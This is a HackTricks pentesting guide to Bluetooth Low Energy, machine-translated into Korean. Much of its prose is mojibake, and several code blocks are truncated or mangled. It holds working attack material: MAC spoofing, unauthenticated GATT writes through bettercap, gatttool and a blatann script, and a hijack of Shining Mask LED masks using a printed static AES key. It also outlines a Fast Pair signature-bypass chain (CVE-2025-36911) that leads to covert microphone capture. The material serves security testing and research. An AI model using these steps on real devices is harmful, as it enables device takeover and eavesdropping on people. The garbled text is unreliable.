Pentesting BLE - Bluetooth Low Energy
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์๊ฐ
Bluetooth 4.0 ์ฌ์ ์ดํ ์ฌ์ฉ ๊ฐ๋ฅํ๋ฉฐ, BLE๋ 2400์์ 2483.5 MHz ๋ฒ์๋ฅผ ์ปค๋ฒํ๋ 40๊ฐ ์ฑ๋๋ง ์ฌ์ฉํฉ๋๋ค. ๋ฐ๋ฉด ๊ธฐ์กด Bluetooth๋ ๊ฐ์ ๋ฒ์์์ 79๊ฐ ์ฑ๋์ ์ฌ์ฉํฉ๋๋ค.
BLE ์ฅ์น๋ advertising packets (beacons)๋ฅผ ์ ์กํ์ฌ ํต์ ํฉ๋๋ค. ์ด ํจํท๋ค์ ์ฃผ๋ณ ์ฅ์น๋ค์๊ฒ BLE ์ฅ์น์ ์กด์ฌ๋ฅผ ๋ธ๋ก๋์บ์คํธํฉ๋๋ค. ์ด beacons๋ ๋๋๋ก send data๋ ์ ์กํฉ๋๋ค.
์์ ์ฅ์น(๋๋ central device)๋ ํน์ advertising ์ฅ์น๋ก ์ง์ ์ ์ก๋๋ SCAN request๋ก advertising packet์ ์๋ตํ ์ ์์ต๋๋ค. ๊ทธ ์ค์บ์ ๋ํ response๋ advertising packet๊ณผ ๋์ผํ ๊ตฌ์กฐ๋ฅผ ์ฌ์ฉํ์ง๋ง ์ด๊ธฐ advertising request์ ๋ค์ด๊ฐ์ง ๋ชปํ ์ถ๊ฐ ์ ๋ณด(์: ์ ์ฒด ์ฅ์น ์ด๋ฆ)๋ฅผ ํฌํจํฉ๋๋ค.
.png)
preamble byte๋ ์ฃผํ์ ๋๊ธฐํ๋ฅผ ๋ด๋นํ๋ฉฐ, 4๋ฐ์ดํธ access address๋ connection identifier๋ก, ์ฌ๋ฌ ์ฅ์น๊ฐ ๋์ผ ์ฑ๋์์ ์ฐ๊ฒฐ์ ์๋ํ ๋ ์ฌ์ฉ๋ฉ๋๋ค. ๊ทธ๋ค์ Protocol Data Unit (PDU)์๋ advertising data๊ฐ ํฌํจ๋ฉ๋๋ค. PDU์๋ ์ฌ๋ฌ ํ์ ์ด ์์ผ๋ฉฐ, ๊ฐ์ฅ ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉ๋๋ ๊ฒ์ ADV_NONCONN_IND์ ADV_IND์ ๋๋ค. ์ฅ์น๋ ADV_NONCONN_IND PDU ํ์ ์ ์ฌ์ฉํ๋ฉด donโt accept connections ์ํ๋ก ๊ด๊ณ ํจํท์์๋ง ๋ฐ์ดํฐ๋ฅผ ์ ์กํฉ๋๋ค. ์ฅ์น๋ ADV_IND๋ฅผ ์ฌ์ฉํ๋ฉด allow connections ์ํ์ด๊ณ , connection์ด established๋๋ฉด stop sending advertising ํจํท์ ์ค๋จํฉ๋๋ค.
GATT
The Generic Attribute Profile (GATT)๋ device๊ฐ ๋ฐ์ดํฐ์ ํ์๊ณผ ์ ์ก ๋ฐฉ์์ ์ ์ํฉ๋๋ค. BLE ์ฅ์น์ ๊ณต๊ฒฉ ํ๋ฉด์ ๋ถ์ํ ๋ GATT(๋๋ GATTs)์ ์ฃผ๋ก ์ฃผ๋ชฉํ๊ฒ ๋๋๋ฐ, ์ด๋ ์ฅ์น์ ๊ธฐ๋ฅ์ด ์ด๋ป๊ฒ ํธ๋ฆฌ๊ฑฐ๋๋์ง์ ๋ฐ์ดํฐ๊ฐ ์ด๋ป๊ฒ ์ ์ฅยท๊ทธ๋ฃนํยท์์ ๋๋์ง๋ฅผ ๋ณด์ฌ์ฃผ๊ธฐ ๋๋ฌธ์ ๋๋ค. GATT๋ ์ฅ์น์ characteristics, descriptors, ๊ทธ๋ฆฌ๊ณ services๋ฅผ 16๋นํธ ๋๋ 32๋นํธ ๊ฐ์ผ๋ก ํ ํํ๋ก ๋์ดํฉ๋๋ค. characteristic์ central device์ peripheral ์ฌ์ด์ ์ ์ก๋๋ data ๊ฐ์ ๋๋ค. ์ด๋ฌํ characteristics๋ ํด๋น ํญ๋ชฉ์ ๋ํ ์ถ๊ฐ ์ ๋ณด๋ฅผ provideํ๋ descriptors๋ฅผ ๊ฐ์ง ์ ์์ต๋๋ค. ๊ด๋ จ ๋์์ ์ํํ๋ ๊ฒฝ์ฐ characteristics๋ ์ข ์ข services์ grouped๋ฉ๋๋ค.
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool์ ๋ค๋ฅธ ์ฅ์น์์ connection์ establishํ์ฌ ํด๋น ์ฅ์น์ characteristics๋ฅผ ๋์ดํ๊ณ ์์ฑ์ ์ฝ๊ณ ์ธ ์ ์์ต๋๋ค.
GATTTool์ -I ์ต์
์ผ๋ก interactive shell์ ์คํํ ์ ์์ต๋๋ค:
GATTTool interactive usage and examples
```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]Write data
gatttool -i
Read data
gatttool -i
Read connecting with an authenticated encrypted connection
gatttool โsec-level=high -b a4:cf:12:6c:b3:76 โchar-read -a 0x002c
</details>
### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
ํ์ด๋ง๋์ง ์์ BLE ์ฅ์น ์ค๋ํ ๋ฐ ๋ฅ๋ ์ ์ด
๋ง์ ์ ๊ฐํ BLE ์ฃผ๋ณ ์ฅ์น๋ pairing/bonding์ ๊ฐ์ ํ์ง ์์ต๋๋ค. bonding์ด ์์ผ๋ฉด Link Layer encryption์ด ํ์ฑํ๋์ง ์์ ATT/GATT ํธ๋ํฝ์ด ํ๋ฌธ์ผ๋ก ์ ์ก๋ฉ๋๋ค. ์คํ-ํจ์ค sniffer๋ ์ฐ๊ฒฐ์ ์ถ์ ํ๊ณ GATT operations๋ฅผ ๋์ฝ๋ฉํ์ฌ characteristic handles์ values๋ฅผ ์์๋ผ ์ ์์ผ๋ฉฐ, ๊ทผ์ฒ์ ํธ์คํธ๊ฐ ์ฐ๊ฒฐํ ํ ํด๋น ์ฐ๊ธฐ ๋์์ ์ฌ์(replay)ํ์ฌ ์ฅ์น๋ฅผ ์ ์ดํ ์ ์์ต๋๋ค.
Sniffle๋ก ์ค๋ํ (CC26x2/CC1352)
ํ๋์จ์ด: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352)์ NCC Group์ Sniffle firmware๋ฅผ ์ฌํ๋์ํจ.
Linux์ Sniffle ๋ฐ Wireshark extcap ์ค์น:
Sniffle extcap ์ค์น (Linux)
```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```Flash Sonoff with Sniffle firmware (์๋ฆฌ์ผ ์ฅ์น๊ฐ ์ผ์นํ๋์ง ํ์ธํ์ธ์, ์: /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
Sniffle extcap์ ํตํด Wireshark์์ ์บก์ฒํ๊ณ , ํํฐ๋ง์ผ๋ก state-changing writes๋ก ๋น ๋ฅด๊ฒ pivotํ์ธ์:
_ws.col.info contains "Sent Write Command"
์ด๋ ํด๋ผ์ด์ธํธ์ ATT Write Commands๋ฅผ ๊ฐ์กฐํฉ๋๋ค; handle๊ณผ value๋ ์ข ์ข ์ฅ์น ๋์์ ์ง์ ๋งคํ๋ฉ๋๋ค(์: write 0x01 to a buzzer/alert characteristic, 0x00 to stop).
Sniffle CLI ๋น ๋ฅธ ์์ :
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
๋์ฒด sniffer: Nordicโs nRF Sniffer for BLE + Wireshark plugin๋ ์๋ํฉ๋๋ค. ์ํ/์ ๊ฐ Nordic dongles์์๋ ์ผ๋ฐ์ ์ผ๋ก USB bootloader๋ฅผ ๋ฎ์ด์จ์ sniffer firmware๋ฅผ ๋ก๋ํ๋ฏ๋ก, ์ ์ฉ sniffer dongle์ ์ ์งํ๊ฑฐ๋ ๋์ค์ bootloader๋ฅผ ๋ณต์ํ๊ธฐ ์ํด J-Link/JTAG๊ฐ ํ์ํฉ๋๋ค.
GATT๋ฅผ ํตํ ๋ฅ๋ ์ ์ด
sniffed traffic์์ ์ฐ๊ธฐ ๊ฐ๋ฅํ writable characteristic handle๊ณผ value๋ฅผ ์๋ณํ ํ, ์๋ฌด central๋ก ์ฐ๊ฒฐํด ๋์ผํ write๋ฅผ ์ํํ์ธ์:
-
With Nordic nRF Connect for Desktop (BLE app):
-
Select the nRF52/nRF52840 dongle, scan and connect to the target.
-
Browse the GATT database, locate the target characteristic (often has a friendly name, e.g., Alert Level).
-
Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop).
-
Automate on Windows with a Nordic dongle using Python + blatann:
Python blatann write ์์ (Windows + Nordic dongle)
```python import time import blatannCONFIG
COM_PORT = โCOM29โ # Replace with your COM port TARGET_MAC = โ5B:B1:7F:47:A7:00โ # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + โ,pโ)
CONNECT
ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(fโ[-] Connecting to {TARGET_MAC}โฆโ) peer = ble_device.connect(target_address).wait() if not peer: print(โ[!] Connection failed.โ) ble_device.close() raise SystemExit(1)
print(โConnected. Discovering servicesโฆโ) peer.discover_services().wait(5, exception_on_timeout=False)
Example: write 0x01/0x00 to a known handle
for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(โ[!] Beeping.โ) ch.write(bโ\x01โ) time.sleep(2) print(โ[+] And relax.โ) ch.write(bโ\x00โ)
print(โ[-] Disconnectingโฆโ) peer.disconnect() peer.wait_for_disconnect() ble_device.close()
</details>
### ์ฌ๋ก ์ฐ๊ตฌ: hijacking BLE LED masks (Shining Mask family)
Cheap, whiteโlabeled BLE LED masks controlled by the โShining Maskโ app accept write control from any nearby central with no pairing/bonding. The app talks GATT to a command characteristic and a data characteristic; commands are AESโECB encrypted with a static key hardโcoded in the app, while bulk image data is unencrypted.
Key UUIDs on these devices:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a
์ธ์ฆ๋์ง ์์ GATT ์ฐ๊ธฐ
- ํ์ด๋ง/๋ฐ์ธ๋ฉ ๋ถํ์. Any host can connect and write to the command UUID to change brightness, select images, start animations, etc.
- ๊ด์ฐฐ๋ ์ผ๋ฐ์ ์ธ ๋์: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).
๊ณ ์ ํค AES ๋ช
๋ น ํ๋ ์ด๋ฐ
- Frame = 1โbyte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AESโECB encrypt with static key from the app.
- Known static key (hex): 32672f7974ad43451d9c6c894a0e8764
Python helper to encrypt and send a command (example: set max brightness):
```python
from Crypto.Cipher import AES
from binascii import unhexlify
KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')
def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)
packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600
์ด๋ฏธ์ง ์ ๋ก๋ ํ๋ฆ
- ์ํธํ๋ DATS ํธ๋์ ฐ์ดํฌ ํ, raw chunks๋ data characteristic โฆ960a์ ์ํธํ๋์ง ์์ ์ํ๋ก ๊ธฐ๋ก๋๋ค.
- ํจํท ํ์: [len][seq][payload]. ๊ฒฝํ์ ์ผ๋ก ํจํท๋น ~100 bytes payload๊ฐ ์์ ์ ์ผ๋ก ๋์ํ๋ค.
Minimal image upload pseudo-code
```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify charStream raw chunks (unencrypted) to โฆ960a: [len][seq][payload]
seq = 0 CHUNK = 98 # data bytes per packet (โ100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1
Optionally signal completion if firmware expects it (e.g., DATCP)
</details>
### Fast Pair (0xFE2C) Key-Based Pairing signature bypass (WhisperPair/CVE-2025-36911)
- **๋ฐ๊ฒฌ:** BLE ๊ด๊ณ ์์ **service UUID 0xFE2C** (Google Fast Pair)๋ฅผ ์ค์บํฉ๋๋ค. ํ์ด๋ง ๋ชจ๋์ ์๋ ๋๋ฐ์ด์ค๋ ์ผ๋ฐ์ ์ผ๋ก ํ์ด๋ง ๋ฐฐ์ง๋ฅผ ๋
ธ์ถํ๋ฉฐ, ํ์ด๋ง ๋ชจ๋๊ฐ ์๋๋๋ผ๋ Fast Pair ์๋น์ค๋ GATT์ ์๋ตํ ์ ์์ต๋๋ค.
- **๋น์นจ์ต์ ํ์ง(์๋ช
์ ์ฉ ํ์ธ):**
1. GATT๋ก Fast Pair ์๋น์ค์ **connect**ํ๊ณ **Model ID๋ฅผ read**ํฉ๋๋ค.
2. **์๋ช
์์ด Key-Based Pairing (KBP) ๊ฐ์ write**ํฉ๋๋ค. ๋ง์ฝ ์ฃผ๋ณ์ฅ์น๊ฐ ์๋ช
์๋ KBP write๋ฅผ ๋ฐ์๋ค์ด๋ฉด signature-bypass(WhisperPair/CVE-2025-36911)์ ์ทจ์ฝํ ๊ฒ์
๋๋ค. ๊ฑฐ๋ถํ๋ฉด ํจ์น๋ ๊ฒ์ด๊ณ , ์ด๋ฏธ ํ์ด๋ง๋์ด ์๋ ๊ฒฝ์ฐ์๋ ์คํจ๊ฐ ๊ฒฐ๋ก ์ ๋ด๊ธฐ ์ด๋ ค์ธ ์ ์์ต๋๋ค.
- **BLE โ BR/EDR pivot:** **KBP Request**๋ฅผ ์ ์กํ๊ณ **์ํธํ๋ response**๋ฅผ ํ์ฑํ์ฌ ๋์์ **BR/EDR address**๋ฅผ ๋ณต์ํฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ classic bonding ํธ์ถ(์: Android **`createBond(<BR/EDR address>)`**)์ ์ฌ์ฉํด ๋ฌด๋จ ํ์ด๋ง์ ์๋ฃํฉ๋๋ค. ์ง์๋๋ ๊ฒฝ์ฐ **Account Key**๋ฅผ ์์ฑํ๋ฉด ์ฐ๊ด์ด ์ง์๋ฉ๋๋ค.
- **Post-bond ๋ง์ดํฌ ๋จ์ฉ:** Bonding ํ **HFP**๋ฅผ ์ด๊ณ **SCO audio**๋ฅผ ์์ํ๋ฉด ์ค์๊ฐ ๋ง์ดํฌ ์คํธ๋ฆผ์ ์์ /๋
น์(์: M4A๋ก ์ ์ฅ)ํ ์ ์์ต๋๋ค. ์ด ์ฒด์ธ์ ์๋ช
์๋ KBP ์์ฉ์ ์ฌ์ฉ์ ๋์ ์์ด ์๊ฒฉ ์ค๋์ค ์บก์ฒ๋ก ์ ํํฉ๋๋ค.
- **ํ์/๊ฐ์ง:** Fast Pair GATT ํธ๋ํฝ ์งํ KBP์์ ๋ฐํ๋ BR/EDR ์ฃผ์๋ก ํฅํ๋ classic **bonding ์๋**์ ์๋ช
์ด ์๋ KBP write๋ฅผ ์ฐพ์๋ณด์ธ์. KBP์ ๋ํ ์๋ช
๊ฒ์ฆ์ ๊ฐ์ ํ๊ณ ์ฌ์ฉ์ ํ์ธ ํ์ด๋ง์ ์๊ตฌํ๋ฉด ์ด ์ฐ์๋ฅผ ์ฐจ๋จํ ์ ์์ต๋๋ค.
## Operational notes
- ์ฑ๋ ํธํ๊ณผ ์ฐ๊ฒฐ ์ถ์ ์ ์์ ์ ์ธ ํ๊ฒฝ์ ์ํด Linux์์ Sonoff+Sniffle์ ์ ํธํฉ๋๋ค. ์๋น๋ก Nordic sniffer๋ฅผ ํ๋ ๋ ์ค๋นํด ๋์ธ์.
- ํ์ด๋ง/๋ณธ๋ฉ์ด ์์ผ๋ฉด ๊ทผ์ฒ์ ๊ณต๊ฒฉ์๋ writable characteristic์ ๋ํ write๋ฅผ ๊ด์ฐฐํ๊ณ ์ฌ์/์กฐ์ํ ์ ์์ต๋๋ค.
## References
- [WPair โ CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
- [Start hacking Bluetooth Low Energy today! (part 2) โ Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle โ A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann โ Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)
> [!TIP]
> AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง์ํ๊ธฐ</summary>
>
> - [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
> - **๐ฌ [**๋์ค์ฝ๋ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **ํธ์ํฐ** ๐ฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.**
>
> </details>


